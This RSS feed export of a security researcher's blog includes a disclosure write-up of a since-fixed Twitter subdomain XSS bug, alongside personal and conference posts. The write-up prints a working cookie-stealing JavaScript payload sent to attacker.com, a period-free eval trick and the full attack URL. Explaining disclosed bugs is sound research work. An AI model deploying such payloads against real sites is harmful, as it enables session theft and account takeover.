<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Billy (BK) Rios &#187; Uncategorized</title>
	<atom:link href="http://xs-sniper.com/blog/category/uncategorized/feed/" rel="self" type="application/rss+xml" />
	<link>http://xs-sniper.com/blog</link>
	<description>Thoughts on Security in an Uncivilized World…</description>
	<lastBuildDate>Mon, 02 Aug 2010 09:54:05 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Twitter XSS Bug</title>
		<link>http://xs-sniper.com/blog/2010/07/19/twitter-xss-bug/</link>
		<comments>http://xs-sniper.com/blog/2010/07/19/twitter-xss-bug/#comments</comments>
		<pubDate>Mon, 19 Jul 2010 08:29:57 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=292</guid>
		<description><![CDATA[I recently came across a XSS vulnerability on Twitter.  99% of XSS bugs are fairly straightforward and this bug was no exception.  Getting a simple alert box was easy, but creating a payload to actually do something valuable (steal the twitter cookie, post on behalf of the victim…etc) was interesting exercise.  Nothing earth shattering or [...]]]></description>
			<content:encoded><![CDATA[<p>I recently came across a XSS vulnerability on Twitter.  99% of XSS bugs are fairly straightforward and this bug was no exception.  Getting a simple alert box was easy, but creating a payload to actually do something valuable (steal the twitter cookie, post on behalf of the victim…etc) was interesting exercise.  Nothing earth shattering or new here, but I wanted to document this just in case someone else runs into a similar situation.</p>
<p><strong>Cookie scoping</strong> &#8211; Twitter.com has multiple sub domains, one of which is apiwiki.twitter.com.  APIwiki is meant to be a resource for developers looking to utilize the twitter APIs.  Fortunately for the attacker (or unfortunately for Twitter) the session cookie that represents authentication is scoped to the parent Twitter domain (.twitter.com)</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2010/07/cookie-scope.png"><img class="aligncenter size-full wp-image-299" title="cookie-scope" src="http://xs-sniper.com/blog/wp-content/uploads/2010/07/cookie-scope.png" alt="" width="202" height="119" /></a></p>
<p>With such a widely scoped cookie, a XSS bug on any of the twitter subdomains means I can steal the twitter session cookie for <a href="http://www.twitter.com/">www.twitter.com</a> (which is where all the action takes place).  Subdomains like apiwiki.twitter.com typically receive less security attention than the flagship domain (for many reasons) but when the session cookie is scoped to the parent domain, bugs like XSS on these overlooked subdomains have the same impact as XSS on the flagship domain.  Twitter should consider restricting the scope of their session cookie or move nonessential stuff to an alternate domain.</p>
<p><strong>The XSS bug</strong> &#8211; The actual XSS bug was found here:</p>
<blockquote><p>http://apiwiki.twitter.com/sdiff.php?first=FrontPage&amp;second=&lt;XSS-HERE&gt;</p></blockquote>
<p>sdiff.php is looking to compare two different php files.  The querystring parameters named “first” and “second” both expect to have a php filename.  If an invalid filename was provided, an exception would be thrown and an error message would be displayed.  The error message looked something like this:</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2010/07/nice-error-message-c.png"><img class="aligncenter size-full wp-image-300" title="nice-error-message-c" src="http://xs-sniper.com/blog/wp-content/uploads/2010/07/nice-error-message-c.png" alt="" width="462" height="345" /></a></p>
<p>Looking at the HTML source of the error page, we see the following stacktrace in the HTML Markup.  The stacktrace contains our unsanitized, attacker controlled values.  Classic XSS straight out of Web app security 101.</p>
<p style="text-align: center;"><a href="http://xs-sniper.com/blog/wp-content/uploads/2010/07/comments-inside-markup1.png"><img class="aligncenter size-full wp-image-302" title="comments-inside-markup" src="http://xs-sniper.com/blog/wp-content/uploads/2010/07/comments-inside-markup1.png" alt="" width="740" height="255" /></a></p>
<p><strong>The Payload</strong> – Now here’s where things got interesting.  Generating a quick alert box payload was simple. I simply supplied the following value for the “second” parameter:</p>
<blockquote><p>&amp;second=&#8211;%3E%3Cbody%20onload=javascript:alert(1)%3E.php</p></blockquote>
<p>Now, when I tried something a bit more complicated, I realized that any periods within the payload (other than period in the trailing “.php”) would generate a different stack trace.  This second stack trace did not contain any attacker controlled data.  So essentially, I had to generate a javascript payload to without any periods.  There are a couple ways to do this… here’s how I did it:</p>
<p>1:  I pulled up the actual payload I wanted to execute.  In this case, it was a simple javascript payload to grab the twitter session cookie and send it to the attacker’s webserver:</p>
<blockquote><p>var stolencookies=escape(document.cookie);var domain=escape(document.location);var myImage=new Image();myImage.src=”http://attacker.com/catcher.php?domain=”+domain+”&amp;cookie=”+ stolencookies;</p></blockquote>
<p>2:  I appended this payload to the end of the attack URL using the # (hash) symbol.  Using the hash symbol is an old trick, primarily used to hide the XSS payload from the server.  An article written by Amit Klein was the earliest reference I could find that mentioned the hash trick back in 2005 (<a href="http://www.webappsec.org/projects/articles/071105.shtml">http://www.webappsec.org/projects/articles/071105.shtml</a>).  In this case, I use the hash to get around the restrictions on my JavaScript payload.</p>
<blockquote><p>&amp;second=&#8211;%3E%3Cbody%20onload=javascript:alert(1)%3E.php# var stolencookies=escape(document.cookie);var domain=escape(document.location);var myImage=new Image();myImage.src=”http://attacker.com/catcher.php?domain=”+domain+”&amp;cookie=”+ stolencookies;</p></blockquote>
<p>3:  Now that my payload is ready I now need to find a way to call the JavaScript after the hash character, but without any periods.  The JavaScript I want to execute is:  eval(document.location.hash.substr(1));  This would eval all the JavaScript following the hash mark.  Fortunately for us, everything in JavaScript is a property of an object and can be referenced in a couple ways (for the most part).  For example, the location property belongs to the document object.  The most common way to access the location property is to call document.location, but you can also access it by calling document[‘location’].  This can be done for any property and even functions, so our injected string without periods is:</p>
<blockquote><p>eval(document['location']['hash']['substr'](1))</p></blockquote>
<p>(kuza’s eval(window[‘name’]) should also work here)</p>
<p>The final URL looked like this:</p>
<blockquote><p>http://apiwiki.twitter.com/sdiff.php?first=FrontPage&amp;second=&#8211;%3E%3Cbody%20onload=javascript: eval(document['location']['hash']['substr'](1))%3E.php# var stolencookies=escape(document.cookie);var domain=escape(document.location);var myImage=new Image();myImage.src=”http://attacker.com/catcher.php?domain=”+domain+”&amp;cookie=”+ stolencookies</p></blockquote>
<p>I reported the bug to the Twitter security team and they addressed it in a timely manner.  It was a pleasure working with them.</p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2010/07/19/twitter-xss-bug/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Catching Up!</title>
		<link>http://xs-sniper.com/blog/2009/03/30/catching-up/</link>
		<comments>http://xs-sniper.com/blog/2009/03/30/catching-up/#comments</comments>
		<pubDate>Mon, 30 Mar 2009 19:04:43 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[biting the hand]]></category>
		<category><![CDATA[catching up]]></category>
		<category><![CDATA[chris evans]]></category>
		<category><![CDATA[conferences]]></category>
		<category><![CDATA[dubai]]></category>
		<category><![CDATA[hack in the box]]></category>
		<category><![CDATA[HITB]]></category>
		<category><![CDATA[MBA]]></category>
		<category><![CDATA[no more free bugs]]></category>
		<category><![CDATA[School]]></category>
		<category><![CDATA[SSL]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=253</guid>
		<description><![CDATA[Whew!  It’s been a busy couple of months for me.  I’m always curious as to how I get so much on my plate.  A quick recap of some of the stuff I’ve been working on / or have coming in the near future:   1)      HITB Dubai is almost here!  I’ve been selected to give [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="MARGIN: 0in 0in 12pt">Whew!<span style="mso-spacerun: yes">  </span>It’s been a busy couple of months for me.<span style="mso-spacerun: yes">  </span>I’m always curious as to how I get so much on my plate.<span style="mso-spacerun: yes">  </span>A quick recap of some of the stuff I’ve been working on / or have coming in the near future:</p>
<p class="MsoNormal" style="MARGIN: 0in 0in 12pt"> </p>
<p class="MsoListParagraphCxSpFirst" style="TEXT-INDENT: -0.25in; MARGIN: 0in 0in 0pt 0.5in; mso-list: l0 level1 lfo1"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin"><span style="mso-list: Ignore">1)<span style="FONT: 7pt 'Times New Roman'">      </span></span></span><a title="HITB" href="http://conference.hitb.org/hitbsecconf2009dubai/" target="_blank">HITB Dubai </a>is almost here!<span style="mso-spacerun: yes">  </span>I’ve been selected to give two talks at HITB in Dubai.<span style="mso-spacerun: yes">  </span>Although I’ve spent a significant amount of time in various parts of the Middle East, but I’ve never actually been to Dubai.<span style="mso-spacerun: yes">  Dhillon is always an EXCELLENT host and </span>I’m looking forward to seeing the sights .<span style="mso-spacerun: yes">  </span>As for the talks I’ll be giving in Dubai, the first (<a title="Biting the Hand" href="http://conference.hitb.org/hitbsecconf2009dubai/?page_id=104" target="_blank">Biting the Hand that Feeds You – Reloaded</a>) is an extension of a talk Nate McFeters and I gave at <a title="Defcon 15" href="http://www.defcon.org/html/defcon-15/dc-15-speakers.html#Rios" target="_blank">Defcon 15</a>.<span style="mso-spacerun: yes">  </span>It involves a lot of interesting application design scenarios that introduce security weaknesses in modern day web applications.<span style="mso-spacerun: yes">  </span>It’s a very interesting collection of Content Ownership issues, some funky ways to abuse web application sessions, and a demo of some attacks against modern day web applications including Twitter and Facebook (respective security teams have already notified).<span style="mso-spacerun: yes">  </span>For the second talk (<a title="Cross Domain" href="http://conference.hitb.org/hitbsecconf2009dubai/?page_id=126" target="_blank">Cross Domain Leakiness</a>), I’ll be co-presenting with <a title="Chris Evans" href="http://www.scary.beasts.org/security/" target="_blank">Chris Evans </a>from Google.<span style="mso-spacerun: yes">  </span>Chris is a super sharp guy and we’ll be talking about some interesting browser bugs we’ve discovered, as well as some techniques to bypass SSL protection mechanisms.<span style="mso-spacerun: yes">  </span>I’m also looking forward to seeing Nitesh Dhanjani’s talk (<a title="Nitesh" href="http://conference.hitb.org/hitbsecconf2009dubai/?page_id=107" target="_blank">Psychotronica</a>).<span style="mso-spacerun: yes">  </span>I’ve seen a sneak preview of the talk and it’s a very powerful illustration of how we can piece together people’s lives like jigsaw puzzles, learning more about them then they probably know about themselves!</p>
<p class="MsoListParagraphCxSpMiddle" style="MARGIN: 0in 0in 0pt 0.5in"><span style="mso-spacerun: yes"> </span></p>
<p class="MsoListParagraphCxSpMiddle" style="TEXT-INDENT: -0.25in; MARGIN: 0in 0in 0pt 0.5in; mso-list: l0 level1 lfo1"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin"><span style="mso-list: Ignore">2)<span style="FONT: 7pt 'Times New Roman'">      </span></span></span>Jeff Carr put out the second paper in the Grey Goose Series (first paper <a title="GG1" href="http://intelfusion.net/wordpress/?p=432" target="_blank">here</a>, second paper <a title="GG2" href="http://greylogic.us/?page_id=85" target="_blank">here</a>).  Contact Jeff directly if you are interested in getting a GOVT only version of the papers.<span style="mso-spacerun: yes">  </span>Jeff has assembled a crack team of intelligence specialists (many of which wish to remain anonymous), pulling together an impressive cyber intelligence capability that probably rivals some state sponsored intelligence agencies.<span style="mso-spacerun: yes">  </span>The team is small enough to allow for lighting fast action without bureaucracy, but just large enough to bring an impressive intelligence eye to modern day problems. <span style="mso-spacerun: yes"> </span>Jeff focuses on analysis related to politically motivated events around the world.<span style="mso-spacerun: yes">  </span>I’m proud to be a part of the Grey Goose team, it is exciting work and perfectly in line with my background.<span style="mso-spacerun: yes">  </span>Jeff and I will be traveling to Estonia in June to speak at the Conference on Cyber Warfare hosted by the NATO <span style="FONT-FAMILY: 'Calibri','sans-serif'; FONT-WEIGHT: normal; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-bidi-font-weight: bold; mso-ansi-language: EN" lang="EN">Cooperative Cyber Defence Centre of Excellence.<span style="mso-spacerun: yes">  </span>We’ll be</span><span style="FONT-FAMILY: 'Calibri','sans-serif'; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-ansi-language: EN" lang="EN"> </span>presenting a talk entitled “Sun Tzu was a Hacker” where we’ll break down the various tactics and operations associated with a real work attack against State servers.<span style="mso-spacerun: yes">  </span>We’ll tie the various pieces back to traditional tactics/warfare via concepts of Maneuver Warfare and Marine Corps Doctrinal Publication – 1 (Warfighting).</p>
<p class="MsoListParagraphCxSpMiddle" style="MARGIN: 0in 0in 0pt 0.5in"> </p>
<p class="MsoListParagraphCxSpMiddle" style="TEXT-INDENT: -0.25in; MARGIN: 0in 0in 0pt 0.5in; mso-list: l0 level1 lfo1"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin"><span style="mso-list: Ignore">3)<span style="FONT: 7pt 'Times New Roman'">      </span></span></span>My studies as an MBA student continue.<span style="mso-spacerun: yes">  </span>Once I finish this semester, I’ll have two classes left.  I&#8217;m currently taking a Finance class which is planting all sorts of great ideas on how to valuate risk associated with information systems.<span style="mso-spacerun: yes">  </span>I think it’s great that Security Researchers are seeing the value of bugs in both monetary instruments and non monetary instruments (press, notoriety…etc).<span style="mso-spacerun: yes">  </span>I see things like the <a title="NMFB" href="http://blog.trailofbits.com/2009/03/22/no-more-free-bugs/" target="_blank">No More Free Bugs </a>(NMFB) campaign as financial declarations that a Security Researchers’ time/efforts/intelligence/creativity/determination is worth &gt; $0.00.<span style="mso-spacerun: yes">  </span>It will be interesting to see how the next generation of security researchers/hackers will view the disclosure/NMFB paradigm and whether places like iDefense and TippingPoint will rise to “power” (if they haven’t already) as vulnerability brokers.<span style="mso-spacerun: yes">  </span>Maybe one day, we’ll track vulnerability worth via stock ticker, trying to game when to sell.<span style="mso-spacerun: yes">  </span>I’m also interested to see whether web application bugs will ever have financial value that can be easily monetized.<span style="mso-spacerun: yes">  </span>How much is a Gmail XSS or CSRF worth?  Are there ways to monetize?</p>
<p class="MsoListParagraphCxSpMiddle" style="MARGIN: 0in 0in 0pt 0.5in"> </p>
<p class="MsoListParagraphCxSpMiddle" style="TEXT-INDENT: -0.25in; MARGIN: 0in 0in 0pt 0.5in; mso-list: l0 level1 lfo1"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin"><span style="mso-list: Ignore">4)<span style="FONT: 7pt 'Times New Roman'">      </span></span></span>I’m co-authoring a book… more on this later</p>
<p class="MsoListParagraphCxSpMiddle" style="MARGIN: 0in 0in 0pt 0.5in"> </p>
<p class="MsoListParagraphCxSpMiddle" style="TEXT-INDENT: -0.25in; MARGIN: 0in 0in 0pt 0.5in; mso-list: l0 level1 lfo1"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin"><span style="mso-list: Ignore">5)<span style="FONT: 7pt 'Times New Roman'">      </span></span></span>I’ve started a really cool project at work that will consume lots of time&#8230;</p>
<p class="MsoListParagraphCxSpMiddle" style="MARGIN: 0in 0in 0pt 0.5in"> </p>
<p class="MsoListParagraphCxSpMiddle" style="TEXT-INDENT: -0.25in; MARGIN: 0in 0in 0pt 0.5in; mso-list: l0 level1 lfo1"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin"><span style="mso-list: Ignore">6)<span style="FONT: 7pt 'Times New Roman'">      </span></span></span>Oh yeah…. I have a ~3 month old baby girl that demands all my free time <span style="FONT-FAMILY: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-char-type: symbol; mso-symbol-font-family: Wingdings"><span style="mso-char-type: symbol; mso-symbol-font-family: Wingdings">J</span></span></p>
<p class="MsoListParagraphCxSpLast" style="MARGIN: 0in 0in 10pt 0.5in"> </p>
<p class="MsoNormal" style="MARGIN: 0in 0in 10pt">Where does the time go?!?!</p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2009/03/30/catching-up/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Pwnichiwa from PacSec!</title>
		<link>http://xs-sniper.com/blog/2008/11/19/pwnichiwa-from-pacsec/</link>
		<comments>http://xs-sniper.com/blog/2008/11/19/pwnichiwa-from-pacsec/#comments</comments>
		<pubDate>Wed, 19 Nov 2008 08:28:25 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=180</guid>
		<description><![CDATA[WOW, it’s been a busy couple of weeks!  I was in Tokyo last week for PacSec.  PacSec was a great time, there were some GREAT talks, and Dragos knows how to party!  I co-presented a talk entitled “Cross-Domain Leakiness: Divulging Sensitive Information and Attacking SSL Sessions” with Chris Evans from Google.  I’m curious if this [...]]]></description>
			<content:encoded><![CDATA[<p>WOW, it’s been a busy couple of weeks!  I was in Tokyo last week for<a title="PacSec 2008" href="http://pacsec.jp/" target="_blank"> PacSec</a>.  PacSec was a great time, there were some GREAT talks, and Dragos knows how to party!  I co-presented a talk entitled “Cross-Domain Leakiness: Divulging Sensitive Information and Attacking SSL Sessions” with <a title="Scary Beasts" href="http://scarybeastsecurity.blogspot.com/" target="_blank">Chris Evans</a> from Google.  I’m curious if this was the first time in history a Google Guy and a Microsoft Guy got on stage together and talked about security&#8230;  Anyway, you can find the slides <a title="Slides" href="https://docs.google.com/Present?docid=dfgb2455_72fkwc2phc" target="_blank">here</a>:<br />
<br />
Chris is a super smart guy and demo’d a ton of browser bugs, most of which he will eventually discuss on his blog (which you should check out).  I had a chance to demo a few bugs and went over some techniques to steal Secure Cookies over SSL connections for popular sites.  Now, before I get into the details of the Safari File Stealing bug that was recently patched (provided in the next post) I did want to talk a bit about WebKit.<br />
<br />
&lt;WARNING Non-Technical Content Follows!&gt;<br />
<br />
You were warned!  Some friends and I have been playing around with Safari (we&#8217;ve got a couple bugs in the pipeline).  As everyone knows, Safari is based on the WebKit browser engine.  I think WebKit is a great browser engine and apparently so does Google because they use it for their Google Chrome.  So, once I discover and report a vulnerability in Safari for the Windows, Apple must also check Safari for Mac, and Safari Mobile for iPhone.  Additionally, “someone” should probably let Google know as their Chrome browser also takes a dependency on WebKit.  Now, who is this “someone”?   Is it the researcher?  Is it Apple?  Does the researcher have a responsibility to check to ensure this vulnerability doesn’t affect Chrome?  Does Apple have a responsibility to give Google the details of a vulnerability reported to them?  Our situation works today because we’ve got great people working for Apple and Google (like Aaron and Chris) who have the means to cooperate and work for the greater good.  However, as security moves higher and higher on the marketing scorecards and becomes more and more of a “competitive advantage” at what point will goodwill stop and the business sense take over?<br />
<br />
Let’s contemplate a scenario that isn&#8217;t so black and white…  Let’s say two vendors both take a dependency on WebKit.  An issue is discovered, but the differences in the two browsers make it so that the implementation for the fix is different.  Vendor A has a patch ready to go, Vendor B on the other hand has a more extensive problem and needs a few more days/weeks/months.  Should Vendor A wait for Vendor B to complete their patch process before protecting their own customers and pushing patches for their own products?<br />
<br />
Let’s flip the scenario… Let’s say Vendor A has a vulnerability reported to them.  Vendor A determines that the issue is actually in WebKit.  Vendor A contacts Vendor B and discovers that Vendor B isn’t affected… does this mean Vendor B knew about issue, fixed the issue, and didn’t tell Vendor A?  Do they have a responsibility to?</p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/11/19/pwnichiwa-from-pacsec/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>House Keeping</title>
		<link>http://xs-sniper.com/blog/2008/10/22/house-keeping/</link>
		<comments>http://xs-sniper.com/blog/2008/10/22/house-keeping/#comments</comments>
		<pubDate>Wed, 22 Oct 2008 07:49:50 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[ar-15]]></category>
		<category><![CDATA[bluehat]]></category>
		<category><![CDATA[chicagocon]]></category>
		<category><![CDATA[grey goose]]></category>
		<category><![CDATA[housekeeping]]></category>
		<category><![CDATA[owasp]]></category>
		<category><![CDATA[win7]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=178</guid>
		<description><![CDATA[It’s been a crazy couple weeks! Some quick housekeeping: ChicagoCon – I’ll be in Chi-Town next week giving one of the Keynotes at ChicagoCon. If you’re going to be in the area, hit me up and we’ll grab a few drinks. Bluehat &#8211; I’m glad to see all the young blood in the scene. It’s [...]]]></description>
			<content:encoded><![CDATA[<p>It’s been a crazy couple weeks! Some quick housekeeping:<br />
<br/><br />
<strong>ChicagoCon</strong> – I’ll be in Chi-Town next week giving one of the Keynotes at <a title="Chi-town baby" href="http://www.chicagocon.com/" target="_blank"><em>ChicagoCon</em></a>. If you’re going to be in the area, hit me up and we’ll grab a few drinks.<br />
<br/><br />
<strong>Bluehat</strong> &#8211; I’m glad to see all the young blood in the scene. It’s going to be scary to see what Kuza55 and Sirdarckcat are up to in 10/15 years (they’re already tearing stuff up as it is…). As for us old guys, we can’t drink like we used too… but we still try <img src='http://xs-sniper.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />   As usual, the Bluehat parties ROCKED and it was great meeting everyone.  We topped off all the Bluehat debauchery with a night at the shooting range, shooting <em><a title="AR-15" href="http://en.wikipedia.org/wiki/AR-15" target="_blank">AR-15s</a></em> and various handguns…<br />
<br/><br />
<strong>MBA </strong>- I actually took a Midterm during the WAF discussion panel at Bluehat (no wonder I was soooo quiet). Once this class is over, I’ll have 3 more classes to go and I’ll have completed my MBA! The coursework isn’t too bad, but the time commitment is pretty high. It definitely cuts into my “pwnage time” and I can’t wait till it’s all over. Don’t ask me why I need another Masters degree and don’t ask me how many times I’ve XSS’d my online class discussion forums.  I promise to practice responsible disclosure after my classes are over&#8230; but for now, its the only thing that keeps class bearable <img src='http://xs-sniper.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
<br/><br />
<strong>Grey Goose</strong> &#8211; This was an AWESOME project and I’m glad Jeff Carr asked me to participate. Jeff basically assembled enough Intel brain power to rival an Intel agency of a small country. Jeff put out a couple reports and if you need more info on the project, you can find it<a title="IntelFusion" href="http://intelfusion.net/wordpress/" target="_blank"><em> here</em></a>. I studied warfare as an Officer in the Marine Corps (Maneuver and Expeditionary) and I&#8217;m interested in anything related to cyber warfare. We’re living in a time when the tactical, operational, and strategic thinking surrounding cyber warfare is being defined.  We can already see striking similarities between cyber capabilities and air power. Just as air power added a new dimension to modern warfare, so do cyber capabilities. Many typically view Computer Network Attack (CNA) and Computer Network Exploitation (CNE) as solitary events, but they can also be used in “combined arms” scenarios (much like targeted air strikes vs close air support).  One day doctrine related to cyber warfare will be required reading for young military officers, just like Sun-tzu, Clausewitz, and Jomini.<br />
<br/><br />
<strong>Apple Pwnage</strong> – Nitesh and I reported a <em><a href="http://support.apple.com/kb/HT3179" target="_blank">vulnerability to Apple</a></em> (CVE-ID: CVE-2008-3638). I’ll go over the details on the blog as soon as some loose ends get tied up.<br />
<br/><br />
<strong>Win7</strong> – I finally took the advice of Rob Hensing and Dave Weston and switched to Win7 as my primary OS…. So far, it absolutely ROCKS.<br />
<br/><br />
<strong>Great talk by a respected haxor&#8230;.</strong> – <a href="http://video.google.com/videoplay?docid=-1012125050474412771&#038;hl=en" target="_blank">http://video.google.com/videoplay?docid=-1012125050474412771&#038;hl=en</a></p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/10/22/house-keeping/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Married in Maui!</title>
		<link>http://xs-sniper.com/blog/2008/07/11/married-in-maui/</link>
		<comments>http://xs-sniper.com/blog/2008/07/11/married-in-maui/#comments</comments>
		<pubDate>Sat, 12 Jul 2008 00:28:32 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[beaches]]></category>
		<category><![CDATA[maui]]></category>
		<category><![CDATA[rest]]></category>
		<category><![CDATA[wedding]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=108</guid>
		<description><![CDATA[I&#8217;ve been Maui for the last two weeks and it was AWESOME.  My girl and I had our wedding ceremony on a beach in Kihei and our reception &#8220;upcountry&#8221; in Kula.  It was great being back on the islands, catching up with friends and family.    For some reason, I feel energized&#8230; Maybe it was [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2008/07/ring1.jpg"><img class="alignnone size-medium wp-image-110" title="With this ring..." src="http://xs-sniper.com/blog/wp-content/uploads/2008/07/ring1-300x176.jpg" alt="" width="300" height="176" /></a></p>
<p>I&#8217;ve been Maui for the last two weeks and it was AWESOME.  My girl and I had our wedding ceremony on a beach in Kihei and our reception &#8220;upcountry&#8221; in Kula.  It was great being back on the islands, catching up with friends and family. </p>
<p> </p>
<p>For some reason, I feel energized&#8230; Maybe it was the Hawaii sun or may all those late night hacking sessions were finally catching up&#8230;  or maybe I&#8217;m just getting old :p &#8230; but I feel good now! </p>
<p> </p>
<p>I was pretty much offline for the entire time, so if you&#8217;ve sent me an email within the past week  I&#8217;ll eventually catch up on my email and respond, otherwise I&#8217;ll SEE YOU IN VEGAS!!!</p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/07/11/married-in-maui/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Clarification for &#8220;BK on Safari, hunting Firefox…&#8221;</title>
		<link>http://xs-sniper.com/blog/2008/06/21/clarification-for-bk-on-safari-hunting-firefox%e2%80%a6/</link>
		<comments>http://xs-sniper.com/blog/2008/06/21/clarification-for-bk-on-safari-hunting-firefox%e2%80%a6/#comments</comments>
		<pubDate>Sun, 22 Jun 2008 03:33:37 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[carpet bomb]]></category>
		<category><![CDATA[clarification]]></category>
		<category><![CDATA[file theft]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[interaction]]></category>
		<category><![CDATA[pwnage]]></category>
		<category><![CDATA[Safari]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=107</guid>
		<description><![CDATA[Is Safari 3.12 affected by the vulnerability you mention in, BK on Safari, hunting Firefox?  The “carpet bomb” behavior COULD have been used in conjunction with Firefox to steal user files.  This specific scenario has been patched.   Can an attacker use other, non-obvious ways to abuse the Safari (3.12)/Firefox interaction to steal files from [...]]]></description>
			<content:encoded><![CDATA[<div><span style="font-size: 12pt; line-height: 115%; font-family: "><strong>Is Safari 3.12 affected by the vulnerability you mention in, BK on Safari, hunting Firefox?</strong>  The “carpet bomb” behavior COULD have been used in conjunction with Firefox to steal user files.  This specific scenario has been patched.</span></div>
<div><span style="font-size: 12pt; line-height: 115%; font-family: "> </span></div>
<div><span style="font-size: 12pt; line-height: 115%; font-family: "><strong>Can an attacker use other, non-obvious ways to abuse the Safari (3.12)/Firefox interaction to steal files from the local file system?</strong>  Yes, I know of three separate methods to accomplish this (Firefox 3 lessens the risk).  Vendors have been informed and no details will be provided to the public.  Don’t ask for additional details, I won’t give them until all this is straightened out.  </span></div>
<p><span style="font-size: 12pt; line-height: 115%; font-family: "> </p>
<p><strong>Whose fault is this?</strong>  That’s the whole point of the post.  We have interaction between different software from different vendors.  In isolation, the behaviors that are being abused here are not a high risk.  It’s only when you combine the behaviors does it constitute a risk.  Who should we blame?  I don’t know, I don’t think anyone really knows… lots of people have their opinions though. <img src='http://xs-sniper.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p> </p>
<p> </p>
<p> </p>
<p></span></p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/06/21/clarification-for-bk-on-safari-hunting-firefox%e2%80%a6/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>3rd Annual Symposium on Information Assurance</title>
		<link>http://xs-sniper.com/blog/2008/06/14/3rd-annual-symposium-on-information-assurance/</link>
		<comments>http://xs-sniper.com/blog/2008/06/14/3rd-annual-symposium-on-information-assurance/#comments</comments>
		<pubDate>Sun, 15 Jun 2008 04:04:36 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ASIA]]></category>
		<category><![CDATA[DATA]]></category>
		<category><![CDATA[DNS]]></category>
		<category><![CDATA[Root DNS]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=105</guid>
		<description><![CDATA[I was recently given the honor of delivering a keynote talk for the 3rd Annual Symposium on Information Assurance, which was held in conjunction with 11th Annual New York State Cyber Security Conference.  It was a great conference and I want to thank Sanjay Goel for inviting me!   The conference was VERY academic… which [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-family: Calibri;"><span style="font-family: Calibri;"></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt;"><span style="font-size: 12pt; line-height: 115%; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;;">I was recently given the honor of delivering a keynote talk for the 3<sup>rd</sup> Annual Symposium on Information Assurance, which was held in conjunction with 11<sup>th</sup> Annual New York State Cyber Security Conference.<span style="mso-spacerun: yes;">  </span>It was a great conference and I want to thank Sanjay Goel for inviting me!</span></p>
